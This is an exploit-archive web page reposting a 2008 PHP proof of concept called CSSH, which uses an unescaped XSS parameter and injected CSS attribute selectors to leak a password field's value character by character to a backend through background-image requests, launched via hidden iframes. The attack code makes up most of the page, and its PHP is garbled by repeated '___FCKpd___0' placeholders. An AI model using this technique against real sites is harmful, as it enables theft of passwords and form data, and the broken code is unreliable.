首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
CSSH is a proof of concept CSS based history crawler
来源:http://www.sirdarckcat.net/ 作者:Sirdarckcat 发布时间:2008-10-24  
<?php
/***** BEGIN LICENSE BLOCK *****

CSSH - a proof of concept CSS based history crawler

Copyright (C) 2008 Sirdarckcat

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA

***** END LICENSE BLOCK *****/

    if (isset(
___FCKpd___0
GET['source'])) { highlight_file(__FILE__); exit(); } session_start(); $file=basename(__FILE__); $d=
___FCKpd___0
GET['d']; $i=
___FCKpd___0
GET['i']; if(isset(
___FCKpd___0
GET['logout'])) session_destroy(); if(isset(
___FCKpd___0
GET['debug'])) print_r(
___FCKpd___0
GET+
___FCKpd___0
SESSION); if(isset(
___FCKpd___0
GET['css'])){ switch($d){ case 'range': ob_start("ob_gzhandler");
___FCKpd___0
SESSION['range']=Array();
___FCKpd___0
SESSION['value_']="";
___FCKpd___0
SESSION['_value']=""; for($i=16;$i<=127;$i++){ //echo 'input[value*="\\'.dechex($i).'"]{background:url("'.$file.'?backend&d=range&i=%'.dechex($i).'");}';
___FCKpd___0
SESSION['range'][]=chr($i); } echo "body{background:url('$file?finished');}"; break; case 'reading': while(empty(
___FCKpd___0
SESSION['range']))sleep(1); sleep(5);//session_start() locks the file loading, and we wait 5 seconds for reading next char ob_start("ob_gzhandler"); $range=
___FCKpd___0
SESSION['range']; $value_=strtr(urlencode(
___FCKpd___0
SESSION['value_']),"%","\\");
___FCKpd___0
value=strtr(urlencode(
___FCKpd___0
SESSION['_value']),"%","\\"); foreach($range as $char){ $i=ord($char); echo 'input[value^="'.$value_.'\\'.dechex($i).'"]{background:url("'.$file.'?backend&d=beg&i=%'.dechex($i).'");}'; echo 'input[value$="\\'.dechex($i).
___FCKpd___0
value.'"] + *{background:url("'.$file.'?backend&d=end&i=%'.dechex($i).'");}'; echo 'input[value="'.$value_."\\".dechex($i).
___FCKpd___0
value.'"]+*+*{background:url("'.$file.'?backend&d=fin&i='.$value_.
___FCKpd___0
value.'");}'; echo "\n"; } break; } }else if(isset(
___FCKpd___0
GET['backend'])){ switch($d){ case 'range':
___FCKpd___0
SESSION['range'][]=$i; header('Location: http://p42.us/x.png'); break; case 'beg':
___FCKpd___0
SESSION['value_'].=$i; case 'end':
___FCKpd___0
SESSION['_value']=$i.
___FCKpd___0
SESSION['_value']; case 'fin':
___FCKpd___0
SESSION['value']=$i; break; } }else if(isset(
___FCKpd___0
GET['attack'])){ ?> <iframe src="<?php echo $file; ?>?xss=<style>@import %22<?php echo $file; ?>/_?css%26d=range%22%3B</style>"></iframe> <iframe src="<?php echo $file; ?>?xss=<style>@import %22<?php echo $file; ?>/_/_?css%26d=reading%22%3B</style>"/></iframe> <iframe src="<?php echo $file; ?>?xss=<style>@import %22<?php echo $file; ?>/_/_/_?css%26d=reading%22%3B</style>"/></iframe> <iframe src="<?php echo $file; ?>?xss=<style>@import %22<?php echo $file; ?>/_/_/_/_?css%26d=reading%22%3B</style>"/></iframe> <iframe src="<?php echo $file; ?>?xss=<style>@import %22<?php echo $file; ?>/_/_/_/_/_?css%26d=reading%22%3B</style>"/></iframe> <iframe src="<?php echo $file; ?>?xss=<style>@import %22<?php echo $file; ?>/_/_/_/_/_/_?css%26d=reading%22%3B</style>"/></iframe> <iframe src="<?php echo $file; ?>?xss=<style>@import %22<?php echo $file; ?>/_/_/_/_/_/_/_?css%26d=reading%22%3B</style>"/></iframe> <?php }else{ if(isset(
___FCKpd___0
POST['pass'])){
___FCKpd___0
SESSION['knownvalue']=
___FCKpd___0
POST['pass']; } ?> <html> <head> <title>Start</title> <?php echo
___FCKpd___0
GET['xss'];?> </head> <body> <form method=POST> Enter something here and press enter <input name="pass" type="password" value="<?php echo
___FCKpd___0
SESSION['knownvalue']; ?>"/> </form> </body> </html> <?php } ?>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MindDezign Photo Gallery 2.2 A
·VLC 0.9.4 .TY File Buffer Over
·SilverSHielD 1.0.2.34 (opendir
·CSPartner 1.0 (Delete All User
·MS08066本地权限提升漏洞exploit
·Opera 9.52/9.60 Stored Cross S
·Exploits Asterisk 1.4,1.6 et.
·db Software Laboratory VImpX (
·TUGzip 3.00 archiver .ZIP File
·LoudBlog <= 0.8.0a (ajax.php)
·KVIrc 3.4.0 Virgo Remote Forma
·LibSPF2 < 1.2.8 DNS TXT Record
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved